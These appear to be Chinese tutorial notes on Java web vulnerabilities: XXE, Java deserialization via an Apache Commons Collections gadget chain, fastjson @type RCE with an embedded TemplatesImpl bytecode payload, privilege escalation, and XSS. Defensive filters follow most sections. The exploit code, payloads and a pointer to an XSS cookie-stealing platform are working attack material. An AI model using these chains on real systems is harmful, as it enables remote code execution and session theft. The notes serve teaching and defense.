元素的基本结构由 开始标记,数据内容,结束标记组成,如

<Person>
<Name> Zhang San  </Name>
<Sex> Male  </Sex>
</Person>

需要注意的是:

  • 元素标记区分大小写,<Name> 与 <name>是两个不同的标记

  • 结束标记必须有反斜杠,如 </Name>

XML元素标记命名规则如下:

  • 名字中可以包含字母,数字及其它字母

  • 名字不能以数字或下划线开头

  • 名字不能用xml开头

  • 名字中不能包含空格和冒号

4.XML中的注释

XML中注释如下:

<!--  this is comment --> 

需要注意的是:

  • 注释中不要出现“–”或“-”

  • 注释不要放在标记中

  • 注释不能嵌套

5. PI (Processing Instruction)

PI 指 Processing Instruction, 处理指令。 PI以“ <?”开头,以“?>”结束,用来给下游的文档传递信息。

<?xml:stylesheet href="core.css" type="text/css" ?> 

例子表明这个XML文档用core.css控制显示。

6.DTD

DTD定义了XML的根元素是movies,然后元素下面还有一些子元素,其中DOCTYPE是DTD的声明;

ENTITY是实体的声明,所谓实体可以理解为变量;

SYSTEM、PUBLIC是外部资源的申请。

那么XML到时候必须像如下这么写

示例文件(movies.dtd)

<?xml version="1.0" encoding="GB2312"?>
<!ELEMENT movies (id, name, brief, time)>
<!ATTLIST movies type CDATA #REQUIRED>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT brief (#PCDATA)>
<!ELEMENT time (#PCDATA)>

id, name, brief, time只能包含非标记文本(不能有自己的子元素)。

XML文件如下所示(movies.xml):

<?xml version="1.0" encoding="GB2312"?>
<!DOCTYPE movies SYSTEM "movies.dtd">
<movies type="动作片">
<id>1</id>
<name>致命摇篮</name>
<brief>李连杰最新力作</brief>
<time>2003</time>
</movies>

8.Entities(实体)

Entities(实体)是XML的存储单元,一个实体可以是字符串,文件,数据库记录等。实体的用处主要是为了避免在文档中重复输入,我们可以为一个文档定义一个实体名,然后在文档里引用实体名来代替这个

文档,XML解析文档时,实体名会被替换成相应的文档。

XML为五个字符定义了实体名:

实体 字符
< <
> >
& &

定义并引用实体的示例:

<!DOCTYPE example [
<!ENTITY intro "Here is some comment for entity of XML">
]>
<example>
<hello>&intro;</hello>
</example>

使用&intro对上面定义的intro实体进行了引用,到时候输出的时候&&intro就会被“Here is some comment for entity of XML”替换。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

漏洞产生的原因在于外部实体

image-20230219133609864

解析XML:案例

String strxml ="<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n" + "<!DOCTYPE foo [\r\n" + "<!ELEMENT foo ANY >\r\n" + "<!ENTITY xxe SYSTEM \"file:///c:/windows/win.ini\" >]>\r\n" + "<creds>\r\n" + "<user>&xxe;</user>\r\n" + "<pass>mypass</pass>\r\n" + "</creds>";
// TODO Auto-generated method stub
DocumentBuilderFactory docFactory =DocumentBuilderFactory.newInstance();
DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
Document doc = docBuilder.parse(new InputSource(new StringReader(strxml)));
NodeList RegistrationNo = doc.getElementsByTagName("user");
String tmp = RegistrationNo.item(0).getFirstChild().getNodeValue();
System.out.println(tmp);

怎么防御:

  1. 使用开发语言提供的禁用外部实体的方法
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  1. 过滤用户提交的XML数据

过滤关键词: !ENTITY,或者SYSTEMPUBLI

  1. 使用第三方应用代码及时升级

6. java 反序列化漏洞

什么是序列化和反序列化

序列化:是将对象的状态信息转换为可以存储或传输形式的过程。

反序列化:将对象数据从按照某一种标准,解析成对象,读取到内存。

那为什么要将对象序列化,或者说他的应用场景有哪些?

我们都知道,程序运行,对象数据是保存到内存中的,那如果对象很多,会占据很多内存空间,但我们 的内存是有限的,而且很贵,

所以,需要长时间保存的对象,我们可以将这些对象保存到硬盘中,一方面,硬盘比内存便宜,另一方面为了数据安全,内存断电数据就丢失了,但对象是一个抽象的数据结构,怎么保存到硬盘中,我们可以将 对象,按照某种格式转换成一个字符串或者某个二进制的文件,这个就叫做序列化。 还有一种情况,我们都知道服务器和服务器之间通讯,肯定要传输数据,数据传输肯定要约定某一个格 式,所以说如果要传输对象,我们也需要将对象转换成每一种特定的格式,这也是序列化的一种应用场景。

一个类的对象要想序列化成功,必须满足两个条件:

  1. 该类必须实现 java.io.Serializable 接口。

  2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂

的。

如果你想知道一个 Java 标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现

java.io.Serializable接口。

案例

实体类

package com.mashibing.test; 

import java.io.BufferedReader; 
import java.io.IOException; 
import java.io.InputStream; 
import java.io.InputStreamReader; 
import java.io.Serializable; 
public class Person implements Serializable{ 

    private static final long serialVersionUID = -6172176307319540879L;     private String name; 
    private Integer age; 
    private String address; 
    public String getName() { 
        return name; 
    } 
    public void setName(String name) { 
        this.name = name; 
    } 
    public Integer getAge() { 
        return age; 
    } 
    public void setAge(Integer age) { 
        this.age = age; 
    } 
    public String getAddress() { 
        return address; 
    } 
    public void setAddress(String address) { 
        this.address = address; 
    } 
    public Person() { 
        super(); 
        // TODO Auto-generated constructor stub     } 

    public Person(String name, Integer age, String address) {         super(); 
        this.name = name; 
        this.age = age; 
        this.address = address; 
    } 
    @Override 
    public String toString() { 
        return "Person [name=" + name + ", age=" + age + ", address=" + address  
+ "]"; 
    } 
      //重写readObject()方法 
     private void readObject(java.io.ObjectInputStream in) throws IOException,  ClassNotFoundException{ 
            //执行默认的readObject()方法 
            in.defaultReadObject(); 
            //调用服务器命令脚本 
            Runtime.getRuntime().exec("calc.exe"); 
            Process process = Runtime.getRuntime().exec("ipconfig"); 
            try (InputStream fis = process.getInputStream(); 
                 InputStreamReader isr = new InputStreamReader(fis); 
                 BufferedReader br = new BufferedReader(isr)) { 
                String line; 
                while ((line = br.readLine()) != null) { 
                    System.out.println(line); 
                } 
            } 

       } 
} 

客户端:

package com.mashibing.test; 
import java.io.InputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; import java.io.OutputStream; 
import java.net.Socket; 
public class Client { 
  public static void main(String args[]) throws Exception { 
    // 要连接的服务端IP地址和端口 
    String host = "127.0.0.1"; 
    int port = 8989; 
    // 与服务端建立连接 
    Socket socket = new Socket(host, port); 
    // 建立连接后获得输出流 
    OutputStream outputStream = socket.getOutputStream(); 
    Person p=new Person("客户1",12,socket.getInetAddress().getHostAddress());     //p为传送对象 
    ObjectOutputStream o= new ObjectOutputStream(socket.getOutputStream()); 
    o.writeObject(p); 
    o.flush(); 
    //通过shutdownOutput高速服务器已经发送完数据,后续只能接受数据 
    socket.shutdownOutput(); 
   
    InputStream inputStream = socket.getInputStream(); 
    ObjectInputStream in=new ObjectInputStream(inputStream); 
    
    Person s= (Person) in.readObject(); 
    System.out.println("服务端回复消息:" + s); 
    in.close(); 
    o.close(); 
    inputStream.close(); 
    outputStream.close(); 
    socket.close(); 
  } 
} 

服务器端:

package com.mashibing.test; 
import java.io.InputStream; 
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; 
import java.net.ServerSocket; import java.net.Socket; 
public class Server { 
  public static void main(String[] args) throws Exception { 
    // 监听指定的端口 
    int port = 8989; 
    ServerSocket server = new ServerSocket(port); 
    System.out.println("服务端等待连接"); 
    // server将一直等待连接的到来 
    Socket socket = server.accept(); 
    InputStream inputStream = socket.getInputStream(); 
    ObjectInputStream in=new ObjectInputStream(inputStream);     Person p = (Person) in.readObject(); 
    System.out.println("收到客户端消息:" +p); 
    //返回给客户端消息 
    OutputStream outputStream = socket.getOutputStream(); 
    Person s=new Person("服务端",102,server.getInetAddress().getHostAddress());     //s为传送对象 
    ObjectOutputStream out=new ObjectOutputStream(outputStream); 
    out.writeObject(s); 
    out.flush(); 
    inputStream.close(); 
    outputStream.close(); 
    out.close(); 
    in.close(); 
    socket.close(); 
    server.close(); 
  } 
} 

漏洞产生的原因

是这样的,在Java反序列化中,会调用被反序列化的对象的readObject方法,当readObject方法书写不 当时就会引发漏洞。

怎么利用这个漏洞?

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的 数据是我们特殊构造的呢!

A服务器传数据给B服务器,B服务器拿到数据进行反序列化

基础库中隐藏的反序列化漏洞

那这种方式式成功的可能性大不大呢?其实不大?
因为优秀的Java开发人员一般会按照安全编程规范进行编程,很大程度上减少了反序列化漏洞的产生。

并且一些成熟的Java框架比如Spring MVC、Struts2等,都有相应的防范反序列化的机制。

反序列化出来的对象,都不属于当前应用程序中的类,很容易就被拦截了。

所以说我们要找一个应用程序中存在的类,并且这个类还要重写了readObject方法。

上哪里去找应用程序中存在的类,类库里面去找,例如说我们今天要重点讲的

Apache Commons Collections

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。 org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说 这些扩展也属于collection的基本概念,只是功能不同罢了。

Java中的collection可以理解为一组对象, collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类 型。换一种理解方式,collection是set,list,queue的抽象。

但是,如果readObject这个方法里面或者调用的方法里面,存在能够执行任意类的任意方法的逻辑,我们是不是就闭环了。

在java里面什么东西可以执行执行任意类的任意方法?

什么是反射

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个 对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为 java语言的反射机制。Java的反射机制是Java特性之一,反射机制是构建框架技术的基础所在。

看一个案例 APPLE

反射的重要步骤

1、加载类信息

2、获得对象

3、获得方法

4、执行方法

例如: 使用反射的方式 调用Runtime 类的方法

      //Runtime.getRuntime().exec("calc"); 
        Runtime r=Runtime.getRuntime(); 
        Class c=r.getClass(); 
        Method m=c.getMethod("exec", String.class);         m.invoke(r, "calc"); 

框架里面大量利用了反射这个技术,例如说Apache Commons Collections

就有这么一个接口反射:前面讲过,内存中的类只要知道它的属性和方法名就能通过反射的方式进行调用,那如果我能找 到一个方法,通过反射的方式执行任意类的,任意方法,那是不是可以做一些坏事了。

漏洞原码解析:

在Apache Commons Collections 中真的提供了一个这样的方法,就是先找到:Transformer 这个类

public Object transform(Object input);

InvokerTransformer 这个类:transform 这个方法通过反射的方式调用了 input 这个类的方法 注意:input 和ImethodName、iParamTypes 都是通过参数的方式传入的,是可控的 这是一个标准的任意方法调用。 那么我们就可以利用这个方法执行任意命令

public Object transform(Object input) { 
        if (input == null) { 
            return null; 
        } 
        try { 
            Class cls = input.getClass(); 
            Method method = cls.getMethod(iMethodName, iParamTypes); 
            return method.invoke(input, iArgs); 
                 
        } catch (NoSuchMethodException ex) { 
            throw new FunctorException("InvokerTransformer: The method '" +  iMethodName + "' on '" + input.getClass() + "' does not exist"); 
        } catch (IllegalAccessException ex) { 

            throw new FunctorException("InvokerTransformer: The method '" +  iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 
        } catch (InvocationTargetException ex) { 
            throw new FunctorException("InvokerTransformer: The method '" +  iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 
        } 
    } 

测试:

//Runtime.getRuntime().exec("calc"); 
        Runtime r=Runtime.getRuntime(); 
//      Class c=r.getClass(); 
//      Method m=c.getMethod("exec", String.class); 
//      m.invoke(r, "calc"); 
        //通过InvokerTransformer 这个类来执行恶意命令 
        new InvokerTransformer 
        ("exec", new Class[] {String.class}, new Object[] {"calc"})         .transform(r); 
   

可以得出一个结论就是,只要那个类或者方法中只要调用了 transform 方法就可以执行任意命令查找transform findKeyH..

需要找到调用checkSetValue 的方法

 protected Object checkSetValue(Object value) {         
     return valueTransformer.transform(value); 
} 

最终的目的是要执行valueTransformer.transform(value),那我们肯定要执行 checkSetValue 这个方 法,我们要调用类里面的方法,首先需要实例化对象,对象调用方法,发现对象的构造方法被 prepected修饰不能实力话,

找到方法:decorate返回了TransformedMap 对象

 public static Map decorate(Map map, Transformer keyTransformer, Transformer  valueTransformer) { 
        return new TransformedMap(map, keyTransformer, valueTransformer); 
} 

试试看

Map<Object, Object> m1=new HashMap<Object, Object>(); 
m1.put("1", "1"); 
Map<Object, Object> m2=TransformedMap.decorate(m1, null,invokerTransformer); 

调用checkValue()调用不了发现这个方法也是protected 修饰的,找谁调用了这个方法
发现在TransformedMap 的父类 AbstractInputCheckedMapDecorator 类中找到调用的方法,找到了 MapEntry静态内部内 setValue 方法

static class MapEntry extends AbstractMapEntryDecorator { 
        /** The parent map */ 
        private final AbstractInputCheckedMapDecorator parent; 
        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator  parent) { 
            super(entry); 
            this.parent = parent; 
        } 
        public Object setValue(Object value) { 
            value = parent.checkSetValue(value);             
            return entry.setValue(value); 
        } 
    } 

再往上找比较麻烦,我直接说一下MapEntry在哪里调用,Entry看名字应该能猜到,就是在map集 合进行遍历的时候进行调用

 //Runtime.getRuntime().exec("calc"); 
        Runtime r=Runtime.getRuntime(); 
//      Class c=r.getClass(); 
//      Method m=c.getMethod("exec", String.class); 
//      m.invoke(r, "calc"); 
        //通过InvokerTransformer 这个类来执行恶意命令 
     InvokerTransformer invokerTransformer=new InvokerTransformer 
        ("exec", new Class[] {String.class}, new Object[] {"calc"}); 
        HashMap<Object, Object> hashMap=new HashMap<Object, Object>(); 
        hashMap.put("key", "value1"); 
        // 调用 decorate 
        Map<Object, Object> map=TransformedMap.decorate(hashMap, null,  invokerTransformer); 
        for (Map.Entry<Object,Object> entry : map.entrySet()) { 
            entry.setValue(r); 
            System.out.println(entry.getKey()); 
        } 

反序列化,最终还是要着落在readObject()这个方法里面,方法里面还需和tarnstform 取得联系。目前 我们找到tarnstform和Entry的联系,接下来就是要找Entry 和 readObject 方法里面的联系,找到了 sun.reflect.annotation.AnnotationInvocationHandler

image-20230219135858384

最终代码

Transformer[] transformers = new Transformer[] { 
           new ConstantTransformer(Runtime.class), 
           new InvokerTransformer("getMethod", new Class[] { String.class,  Class[].class }, new Object[] { "getRuntime", new Class[0] }), 
           new InvokerTransformer("invoke", new Class[] { Object.class,  Object[].class }, new Object[] { null, new Object[0] }), 
           new InvokerTransformer("exec", new Class[] { String.class }, new  Object[] { "calc" }) }; 
   Transformer transformerChain = new ChainedTransformer(transformers); 

   Map innermap = new HashMap(); 
   innermap.put("value", "value"); 
   Map outmap = TransformedMap.decorate(innermap, null, transformerChain);    //通过反射获得AnnotationInvocationHandler类对象 
   Class cls =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
   //通过反射获得cls的构造函数 
   Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); 
   //这里需要设置Accessible为true,否则序列化失败 
   ctor.setAccessible(true); 
   //通过newInstance()方法实例化对象 
   Object instance = ctor.newInstance(Retention.class, outmap); 

二、fastjson反序列化漏洞

fastjson是一个由阿里巴巴维护的一个json库。其采用一种”假定有序快速匹配算法”,是号称java中最快 的json库,其可以将json数据与java Object之间相互转换。2017年官方在github上发布了反序列化漏洞 的相关升级公告,fastjson在1.2.24以及之前版本存在远程代码执行漏洞。


import com.alibaba.fastjson.JSON; 

import java.io.IOException; 
import java.util.Properties; 
public class User { 
    public String name; 
    private int age; 
    private Boolean sex ; 
    private Properties properties; 
    public User(){ 
        System.out.println("构造方法被调用了"); 
    } 
    public int getAge()  { 
        System.out.println("age get方法被调用了"); 
        return this.age; 
    } 
    public void setAge(int age) throws IOException{ 
        Runtime.getRuntime().exec("calc"); 
        System.out.println("age set方法被调用了"); 
        this.age = age; 
    } 
    public Properties getProperties(){ 
        System.out.println("properties get方法被调用了"); 
        return this.properties; 
    } 
    public void setName(String name) { 
        System.out.println("name set 方法被调用了"); 
        this.name = name; 
    } 
    public String getName() { 
        System.out.println("name get方法被调用了"); 
        return name; 
    } 
    public void setSex(Boolean sex) { 
        System.out.println("sex set 方法被调用了"); 
        this.sex = sex; 
    } 
    public Boolean getSex() { 
        System.out.println("sex get方法被调用了"); 
        return sex; 
    } 
    public static void main(String[] args) { 
        String jsonStr = " {\"@type\":\"User\",\"sex\":true,\"name\":\"Yu\",\"age\":18,\"properties\":{}}";         Object obj = JSON.parse(jsonStr); 
    } 
} 

    public static void main(String[] args){ 
        String str = " {\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_byt ecodes\": [\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'xx','_tfactory':{ },\"_outputProperties\":{ }}"; 
        JSON.parse(str, Feature.SupportNonPublicField); 
    }

7. 越权漏洞

什么是越权漏洞?

越权漏洞又分为水平越权,垂直越权,简单来理解的话,就是普通用户操作的权限,可以经过漏 洞而变成管理员的权限,或者是可以操作其它人账号的权限,也叫未授权漏洞,正常如果访问管 理员的一些操作,是需要有安全验证的,而越权导致的就是绕过验证,可以访问管理员的一些敏 感信息,一些管理员的操作,导致数据机密的信息泄露。垂直越权漏洞可以使用低权限的账号来 执行高权限账号的操作,比如可以操作管理员的账号功能水平越权漏洞是可以操作同一个层次 的账号权限之间进行操作,以及访问到一些账号敏感信息,比如可以修改任意账号的资料,包括 查看会员的手机号,姓名,充值记录,撤单记录,提现记录,注单记录等等,也可以造成使用水 平越权来执行其他用户的功能,比如删除银行卡,修改手机号,密保答案等等。

水平越权:

img

原因:

算法未对发送HTTP请求的用户进行用户身份合法性的校验,也为对请求进行权限控制。垂直越权:

先使用bp获得admin超级管理员用户 添加用户的请求信息

image-20230219145154436

在获得普通客服用户的登录信息

image-20230219145208110

使用普通用户的cookie 发现也能执行添加用户的操作(出现越权漏洞)

image-20230219145218346

怎么防止越权漏洞?

对存在权限验证的页面进行安全效验,效验网站APP前端获取到的参数,ID,账户密码,返回也需要效验。对于修改,添加等功能进行当前权限判断,验证所属用户,使用seesion来安全效验用户的操作权限,get,post数据只允许输入指定的信息,不能修改数据包,查询的越权漏洞要检

测每一次的请求是否是当前所属用户的身份,加强效验即可

8. XSS攻击的防御

什么是XSS漏洞?

XSS作为OWASP TOP 10 之一

XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。

XSS(跨站脚本攻击) 主要基于javascript (JS) 完成恶意的攻 击行为。

JS可以非常灵活的操作html,css和浏览器,这使得XSS攻击的”想象”空间特别大。XSS通过将精心构造的 代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。

当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器就会解析这段XSS代码,也就 是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascrit解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器。

XSS漏洞发生在哪里

服务器、微博、留言板、聊天室等等收集用户输入的地方都有可能被注入XSS代码,都存在遭受XSS的风险,只要 没有对用户的输入进行严格过滤,就会被XSS

XSS的危害

XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种

  • 盗取各种用户账号

  • 窃取用户Cookie资料,冒充用户身份进入网站

  • 劫持用户回话,执行任意操作

  • 刷流量,执行弹窗广告

  • 传播蠕虫病毒

XSS平台

https://xss.pt/xss.php?do=project&act=viewcode&ty=create&id=35668

根据各种需求生成 XSS攻击代码 比如说获得管理员Cookie等等

获得管理员cookie 就可以直接访问后台了

XSS的分类

XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM型XSS、反射型XSS(用户触发)

反射型XSS是非持久性、参数型的跨站脚本

反射型XSS的JS代码在Web应用的参数(变量)中,如搜索框的反射型XSS

java 中反射型 XSS

就是通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特定的代码参数会被HTML解 析、执行。

存在 欺骗性,把存在反射型XSS漏洞的地址发给你,你点击了,造成XSS的攻击。
例如:利用EL表达式 ,EL表达式可以通过后台数据取值(这个时候是不能修改的),它地址栏取值 这 个时候就可以使用XSS进行攻击

如果参数由后端生成,并且前台改不掉,那就不存在这种漏洞

http://localhost:8081/blog/admin/main?clientds=%3Cscript%3Ealert(111)%3C/script%3E

image-20230219150038467

image-20230219150045204

image-20230219150049546

java中存储型XSS(直接写入数据库)

存储型XSS是持久性跨站脚本
持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中, 存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写入数据库中。 此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS使用的JS代码,JS代码的运行环境是浏览 器,所以需要浏览器从服务器载入恶意的XSS代码,才能真正触发XSS

此时需要我们模拟网站后台管理员的身份,查看留言

形成的原因:

1、输入参数未过滤

2、与数据库交互(该参数存如数据库)

3、输出未过滤

image-20230219150123847

DOM XSS (使用 DOM 事件才能触发)

DOM XSS比较特殊。

owasp关于DOM型号XSS的定义是基于DOM的XSS是一种XSS攻击

其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的

其特殊的地方就是payload比较难以检测

可能触发DOM型XSS的属性

1、document.referer属性

2、location属性

3、innerHTML属性

image-20230219150310069

例如:

<!DOCTYPE html> 
<html> 
    <head> 
        <meta charset="UTF-8"> 
        <title></title> 
    </head> 
    <body> 
        <div class="page-content"> 
            <div id="xssd_main"> 
                <!--<a href="" onclick=('xss')>--> 
                <input id="text" name="text" type="text"  value="" /> 
                <input id="button" type="button" value="click me!"  onclick="domxss()" /> 
                <div id="dom"></div> 
            </div> 
        </div> 
    </body> 
    <script> 
        function domxss(){ 
             var str = document.getElementById("text").value;               
document.getElementById("dom").innerHTML = "<a  href='"+str+"'>what do you see?</a>"; 
                    } 
                    //试试:'><img src="#" onmouseover="alert('xss')"> 
                    //试试:' onclick="alert('xss')">,闭合掉就行 
      </script> 
</html> 

XSS攻击的防御

image-20230219150516108

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤会导致脚本执行的相关内容:然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击。

对输入和URL参数进行过滤(白名单和黑名单)

下面贴出一个常用的XSS filter的实现代码


public class XssFilter implements Filter { 

    public void init(FilterConfig config) throws ServletException {} 

    public void doFilter(ServletRequest request, ServletResponse response,  FilterChain chain)  
            throws IOException, ServletException { 
        XssHttpServletRequestWrapper xssRequest = new  XssHttpServletRequestWrapper((HttpServletRequest)request); 
        chain.doFilter(xssRequest, response); 
    } 

    public void destroy() {} 
}

image-20230219150803108

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {     HttpServletRequest orgRequest = null; 

    public XssHttpServletRequestWrapper(HttpServletRequest request) { 
        super(request); 
        orgRequest = request; 
    } 
    /** 
     * 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/> 
     * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/> 
     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖      */ 
    @Override 
    public String getParameter(String name) { 
        String value = super.getParameter(xssEncode(name)); 
        if (value != null) { 
            value = xssEncode(value); 
        } 
        return value; 
    } 
    /** 
     * 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/> 
     * 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/> 
     * getHeaderNames 也可能需要覆盖 
     */ 
    @Override 
    public String getHeader(String name) { 
        String value = super.getHeader(xssEncode(name)); 
        if (value != null) { 
            value = xssEncode(value); 
        } 
        return value; 
    } 
    /** 
     * 将容易引起xss漏洞的半角字符直接替换成全角字符 
     * 
     * @param s 
     * @return 
     */ 
    private static String xssEncode(String s) { 
        if (s == null || s.isEmpty()) { 
            return s; 
        } 
        StringBuilder sb = new StringBuilder(s.length() + 16); 
        for (int i = 0; i < s.length(); i++) { 
            char c = s.charAt(i); 
            switch (c) { 
            case '>': 
                sb.append('>');// 全角大于号 
                break; 
            case '<': 
                sb.append('<');// 全角小于号 
                break; 
            case '\'': 
                sb.append('‘');// 全角单引号 
                break; 
            case '\"': 
                sb.append('“');// 全角双引号 


                break; 
            case '&': 
                sb.append('&');// 全角 
                break; 
            case '\\': 
                sb.append('\');// 全角斜线 
                break; 
            case '#': 
                sb.append('#');// 全角井号 
                break; 
            case '%':    // < 字符的 URL 编码形式表示的 ASCII 字符(十六进制格式) 是:  %3c 
                processUrlEncoder(sb, s, i); 
                break; 
            default: 
                sb.append(c); 
                break; 
            } 
        } 
        return sb.toString(); 
    } 
    public static void processUrlEncoder(StringBuilder sb, String s, int index){         if(s.length() >= index + 2){ 
            if(s.charAt(index+1) == '3' && (s.charAt(index+2) == 'c' ||  
s.charAt(index+2) == 'C')){    // %3c, %3C 
                sb.append('<'); 
                return; 
            } 
            if(s.charAt(index+1) == '6' && s.charAt(index+2) == '0'){    // %3c  (0x3c=60) 
                sb.append('<'); 
                return; 
            }   
            if(s.charAt(index+1) == '3' && (s.charAt(index+2) == 'e' ||  
s.charAt(index+2) == 'E')){    // %3e, %3E 
                sb.append('>'); 
                return; 
            } 
            if(s.charAt(index+1) == '6' && s.charAt(index+2) == '2'){    // %3e  (0x3e=62) 
                sb.append('>'); 
                return; 
            } 
        } 
        sb.append(s.charAt(index)); 
    } 
    /** 
     * 获取最原始的request 
     * 
     * @return 
     */ 
    public HttpServletRequest getOrgRequest() { 
        return orgRequest; 
    } 
    /** 
     * 获取最原始的request的静态方法 
     * 
     * @return 


     */ 
    public static HttpServletRequest getOrgRequest(HttpServletRequest req) {         if (req instanceof XssHttpServletRequestWrapper) { 
            return ((XssHttpServletRequestWrapper) req).getOrgRequest(); 
        } 
        return req; 
    } 
} 

然后在web.xml中配置该filter:

<filter> 
        <filter-name>xssFilter</filter-name> 
        <filter-class>com.xxxxxx.filter.XssFilter</filter-class>     </filter> 
    <filter-mapping> 
        <filter-name>xssFilter</filter-name> 
        <url-pattern>/*</url-pattern> 
    </filter-mapping> 

image-20230219150850361

对输出进行编码

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。如果使用好的 话,理论上是可以防御住所有的XSS攻击的。

